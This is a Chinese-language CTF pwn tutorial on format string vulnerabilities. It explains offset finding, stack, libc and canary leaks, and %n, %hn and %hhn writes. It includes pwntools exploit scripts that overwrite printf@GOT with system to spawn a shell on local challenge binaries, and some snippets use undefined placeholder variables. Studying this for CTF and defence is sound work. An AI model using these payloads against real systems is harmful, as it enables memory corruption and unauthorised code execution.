格式化字符串基础
格式化字符串基础
本文适合
CTF Pwn 入门学习者。学完你能:识别 printf(user_input) 类漏洞,找到参数偏移,完成栈/libc/Canary 泄露,并在可写目标上构造 %n 写入
格式化字符串漏洞发生在程序把用户输入当成格式控制串使用。它不是普通输出问题,而是可能导致内存读取和内存写入。
正常格式化是什么
C 语言里常见写法:
printf("hello %s", name);"hello %s" 是格式字符串,name 是参数。
%s、%d、%p 等占位符告诉 printf 应该如何解释后面的参数。
漏洞写法是什么
危险写法:
printf(user_input);如果用户输入:
%p %p %pprintf 会把这些当成格式控制符,尝试从栈或寄存器中取参数并打印。
为什么能泄露
格式化函数会根据格式控制符读取参数。如果程序没有提供足够参数,它仍可能从调用现场附近读取数据。
常见泄露包括:
- 栈地址。
- libc 地址。
- canary。
- 程序基址。
- 用户输入在栈上的位置。
这些泄露能帮助绕过 ASLR、PIE、Canary 等保护。
为什么能写入
%n 是特殊格式符,它不会打印内容,而是把“已经输出的字符数”写入对应地址。
如果攻击者能控制写入地址和输出长度,就可能修改 GOT、返回地址、全局变量或 hook。
这就是格式化字符串漏洞从“信息泄露”升级到“任意写”的关键。
偏移是什么
利用格式化字符串时,要知道自己的输入位于第几个参数位置。
例如:
AAAA.%1$p.%2$p.%3$p如果某个位置打印出 0x41414141,说明 AAAA 被当作那个位置的参数解释。
偏移决定后续读写 payload 怎么排列。
%n 写入原语
%n 把已输出字符数写入指定地址:
int count;
printf("AAAA%n", &count); // count = 4
printf("AAAAAA%n", &count); // count = 6%hn 和 %hhn
%hn:写入 2 字节(short)。%hhn:写入 1 字节(char)。
使用 %hn 或 %hhn 可以精确控制每次写入的值,避免输出大量字符:
# 写入 0x1234 到某个地址
# 不需要输出 0x1234 个字符
# 可以拆成两次 %hn 写入
# 写入 0x0034(52 个字符)和 0x1234 - 0x0034 = 0x1200(4608 个字符)地址写入技巧
在 payload 中直接放地址,配合 %n 的位置参数:
# 64 位程序中,地址包含 \x00,不能放在 payload 开头
# 需要把地址放在 payload 末尾,用位置参数引用
target_addr = 0x601020
payload = b'%493c%8$hn' # 输出 493 个字符
payload = payload.ljust(16, b'\x00')
payload += p64(target_addr) # 地址在第 8 个参数位置GOT 覆写利用
通过格式化字符串修改 GOT 表项:
from pwn import *
p = process('./vuln')
elf = ELF('./vuln')
# 目标:把 printf@GOT 改成 system 地址
# 这样下次调用 printf(input) 实际调用 system(input)
# 第一步:泄露 libc
payload1 = b'%7$p' # 泄露栈上的 libc 地址
p.sendline(payload1)
libc_leak = int(p.recvline(), 16)
libc_base = libc_leak - libc_offset
system = libc_base + libc.symbols['system']
# 第二步:用 %n 写入 system 地址到 printf@GOT
# 使用 pwntools 的 fmtstr_payload
payload2 = fmtstr_payload(8, {elf.got['printf']: system})
p.sendline(payload2)
# 第三步:触发 system("/bin/sh")
p.sendline(b'/bin/sh')
p.interactive()pwntools fmtstr_payload
fmtstr_payload 自动生成格式化字符串写入 payload:
from pwn import *
# 基本用法
# offset: 你的输入从第几个参数开始
# writes: {地址: 值} 字典
payload = fmtstr_payload(8, {got_addr: system_addr})
# 指定写入宽度
payload = fmtstr_payload(8, {got_addr: system_addr}, write_size='short')
payload = fmtstr_payload(8, {got_addr: system_addr}, write_size='byte')
payload = fmtstr_payload(8, {got_addr: system_addr}, write_size='int')
# 手动构造(更灵活)
def fmt_write(addr, val, offset):
"""写入 val 到 addr,输入从第 offset 个参数开始"""
writes = {}
for i in range(4):
byte_val = (val >> (i * 8)) & 0xff
if byte_val != 0:
writes[addr + i] = byte_val
return fmtstr_payload(offset, writes, write_size='byte')盲格式化字符串
有时候看不到程序输出(盲注):
from pwn import *
# 盲写:不能看到输出,只能通过程序行为判断
# 常见场景:程序不回显,但执行流程会改变
# 逐字节写入
def blind_write_byte(p, target, value, offset):
payload = fmtstr_payload(offset, {target: value}, write_size='byte')
p.sendline(payload)
# 逐次尝试泄露(如果能观察程序行为差异)
def blind_leak(p, offset):
for i in range(256):
p = process('./vuln')
payload = f'%{offset}$c'.encode()
p.sendline(payload)
# 观察是否有差异格式化字符串模板
常见模板:
# 泄露第 N 个参数
payload = f'%{n}$p'.encode()
# 泄露栈上多个值
payload = b'%1$p.%2$p.%3$p.%4$p.%5$p'
# 写入单字节
payload = f'%{val}c%{offset}$hhn'.encode()
# 写入两字节
payload = f'%{val}c%{offset}$hn'.encode()
# 32 位程序:地址可以直接放在 payload 开头
# 64 位程序:地址必须放在末尾(因为 \x00 会截断)32 位和 64 位差异
32 位程序
# 参数通过栈传递
# 地址可以直接放 payload 开头
target = 0x0804A020
payload = p32(target) + b'%7$n'
# 第 7 个参数正好是 target 指向的值64 位程序
# 参数前 6 个通过寄存器传递
# 地址包含 \x00 会截断字符串
# 需要把地址放在末尾,用位置参数引用
target = 0x404020
payload = b'%104c%10$hhn'.ljust(16, b'\x00')
payload += p64(target)
# 第 10 个参数是 target 地址(因为前面有寄存器参数 + 填充)格式化字符串绕过技巧
长度限制
# 如果输入有长度限制,可以分多次写入
# 第一次写入低地址字节
# 第二次写入高地址字节
# 或者使用 %*d 动态指定宽度
payload = b'%*7$c%8$hhn'字符限制
# 如果不允许某些字符,可以用多阶段写入
# 先写入不含坏字符的部分
# 再追加写入Full RELRO 下的利用
# Full RELRO 不能改 GOT
# 但可以改:
# - 返回地址
# - .fini_array(影响 exit 时行为)
# - 堆上的函数指针
# - stdout 的 vtable(FSOP)完整利用示例
from pwn import *
context.arch = 'amd64'
p = process('./fmt_vuln')
elf = ELF('./fmt_vuln')
# 第一步:找到输入偏移
p.sendline(b'AAAA%6$p')
p.recvuntil(b'AAAA')
leak = int(p.recvline(), 16)
log.info(f'leak: {hex(leak)}')
if leak == 0x41414141:
offset = 6
else:
# 继续尝试其他偏移
for i in range(7, 20):
payload = f"%{i}$p".encode()
p.sendline(payload)
resp = p.recvline()
if b'0x7f' in resp:
offset = i
libc_leak = int(resp.strip(), 16)
print(f"[+] libc leak at offset {i}: {libc_leak:#x}")
break
# 第二步:泄露 libc
p.sendline(b'%3$p') # 假设第 3 个参数是 libc 地址
p.recvuntil(b'0x')
libc_leak = int(p.recvline(), 16)
libc_base = libc_leak - libc_offset
system = libc_base + libc.symbols['system']
# 第三步:覆写 GOT
payload = fmtstr_payload(offset, {elf.got['printf']: system})
p.sendline(payload)
# 第四步:get shell
p.sendline(b'/bin/sh')
p.interactive()常见误区
- 以为
%p打出地址就是漏洞利用完成。 - 不区分泄露阶段和写入阶段。
- 忽略 32 位和 64 位参数传递差异。
- 不计算输出长度,乱用
%n。 - Full RELRO 下还想着直接改 GOT。
一句话判断
用户输入被直接交给 printf、fprintf、sprintf 等格式化函数作为第一个参数时,就按格式化字符串漏洞处理。
它的最小价值是泄露地址;更进一步是用 %n 把“已输出长度”写到目标地址。
题目中常见信号
- 源码或反编译里出现
printf(buf)、printf(user)。 - 输入
%p.%p.%p后返回一串地址。 - 输入
%s会崩溃或读出异常内容。 AAAA%7$p能看到0x41414141或0x4141414141414141。- 程序开启 Canary/PIE/ASLR,需要先泄露。
- Partial RELRO 下存在可写 GOT。
核心概念
格式化字符串利用通常分三步:
找偏移 -> 泄露值 -> 写入目标偏移表示“你的输入或地址在第几个格式化参数位置”。泄露常用 %p、%s,写入常用 %n、%hn、%hhn。
32 位程序参数主要在栈上;64 位程序前几个参数在寄存器里,payload 常要把目标地址放在字符串末尾,再用位置参数引用。
最小分析流程
- 输入
AAAA.%p.%p.%p看是否解释格式符。 - 用
%1$p到%30$p找用户输入所在偏移。 - 泄露 Canary、栈地址、PIE 地址或 libc 地址。
- 判断写目标:GOT、返回地址、全局变量、
.fini_array或堆对象。 - 根据 RELRO 和保护机制决定是否写 GOT。
- 用
fmtstr_payload或手写%hn/%hhn构造写入。 - 触发被覆盖函数或返回路径。
- 失败时检查偏移、输出长度、坏字符、地址截断和写入顺序。
最小验证示例
找偏移:
from pwn import *
p = process("./vuln")
for i in range(1, 20):
p.sendline(f"AAAA.%{i}$p".encode())
line = p.recvline()
if b"41414141" in line:
log.success(f"offset = {i}")
break验证写入:
payload = fmtstr_payload(offset, {elf.got["printf"]: system}, write_size="short")
p.sendline(payload)成功标准:泄露值能对应到真实栈/libc/程序地址;写入后目标函数行为发生预期变化,例如 printf("/bin/sh") 变成 system("/bin/sh")。
常见利用 / 解题路线
路线总览:
路线一:只泄露
适合和栈溢出组合:先泄露 Canary 或 libc,再回到 Canary与绕过、ROP基础。
路线二:GOT 覆写
Partial RELRO 下将 printf@got、exit@got、free@got 改成 system 或 win。
路线三:返回地址覆写
Full RELRO 下 GOT 只读,可写栈上 saved RIP 或 .fini_array,常需要多次输入稳定分段写。
路线四:盲格式化字符串
没有直接回显时,用程序是否崩溃、是否跳转、是否连接保活来判断写入是否成功。
路线五:编码/过滤绕过
输入经过 ROT、大小写、URL 编码或长度限制时,先确认格式串到达 printf 时的真实字节,再构造 payload。
常见失败原因
- 偏移找错:
fmtstr_payload的 offset 必须对应地址参数位置。 - 地址放太前:64 位地址中的
\x00会截断格式串。 - 输出长度回绕没处理:分段
%hn/%hhn时要按递增输出量排列。 - 目标只读:Full RELRO 下 GOT 不可写。
- 泄露值误判:栈地址、libc 地址、Canary 形态要结合上下文确认。
- 本地远程输出不同步:菜单提示、换行和 buffering 会影响
recv。
迷你案例
程序代码:
read(0, buf, 0x100);
printf(buf);保护:
Partial RELRO
No PIE
Canary found先用 %15$p 泄露 Canary,再用 %21$p 泄露 libc 返回地址。若还有写入机会,用:
payload = fmtstr_payload(8, {elf.got["printf"]: system})触发:
/bin/shWP 里要保留三类证据:偏移如何找到、泄露值如何校验、写入目标为什么可写。